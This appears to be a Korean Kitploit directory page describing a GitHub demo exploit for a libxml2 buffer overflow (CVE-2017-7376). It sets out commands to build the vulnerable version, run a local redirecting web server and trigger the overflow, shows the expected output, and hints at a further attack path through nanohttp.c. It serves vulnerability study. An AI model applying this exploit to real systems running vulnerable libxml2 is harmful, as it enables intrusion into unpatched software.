Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
libxml2-exploit — CVE-2017-7376에 대한 예제 익스플로잇 | Kitploit
도구/GitHubGitHub/brahmstaedt/libxml2-exploit
Vulnerability AnalysisExploitationWeb SecurityFuzzingBinary Exploitation
GitHubbrahmstaedt/libxml2-exploit

libxml2-exploit

CVE-2017-7376에 대한 예제 익스플로잇

저장소 보기
336년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

libxml2-exploit

CVE-2017-7376에 대한 예제 익스플로잇

설치

이 저장소와 취약한 버전의 libxml2(예: v2.7.7)를 다운로드하세요:

root@kitploit:~
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2

설정

root@kitploit:~
cd libxml2

libxml2 준비

익스플로잇의 성공을 더 잘 보이게 하려면 버퍼 오버플로를 감지하는 코드를 libxml2에 추가하세요. 애플리케이션 크래시 등 다른 가시적 수단이 있다면 필요하지 않습니다.

root@kitploit:~
git apply ../nanohttp.patch

libxml2 빌드

root@kitploit:~
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install

다음 오류가 발생하는 경우:

root@kitploit:~
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'

configure.in에서 AM_C_PROTOTYPES를 dnl AM_C_PROTOTYPES로 교체하세요. 예를 들어 다음과 같이 합니다:

root@kitploit:~
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i

돌아가기

root@kitploit:~
cd ..

웹 서버 준비

이 익스플로잇은 5자리보다 크고 int32max(2147483648 = 2^32/2)보다 작은 포트 번호를 가진 새 URL로 리디렉션하는 웹 서버가 필요합니다.

서버 시작(node JS가 필요하며 127.0.0.1:8080 포트가 사용 중이 아니어야 함):

root@kitploit:~
node http.js &

웹 서버 테스트; 유효하지 않은 포트 번호 2147426192에 대해 오류를 출력해야 합니다:

root@kitploit:~
wget localhost:8080

컴파일

root@kitploit:~
make

실행

root@kitploit:~
./run.sh

예상 출력:

root@kitploit:~
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml

할 일

이 데모 익스플로잇은 메인 프로그램이 xmlXIncludeProcess()를 실행하여 libxml2의 결함 코드에 도달해야 합니다. 이 함수는 실제 구현에서 많이 사용되지 않을 수 있습니다. 그러나 nanohttp.c는 주석에서 외부 하위 집합을 가져오기 위한 미니멀리스트 HTTP GET 구현이라고 언급하는데, 이는 또 다른 공격 경로를 제공할 수 있습니다.

도구 다운로드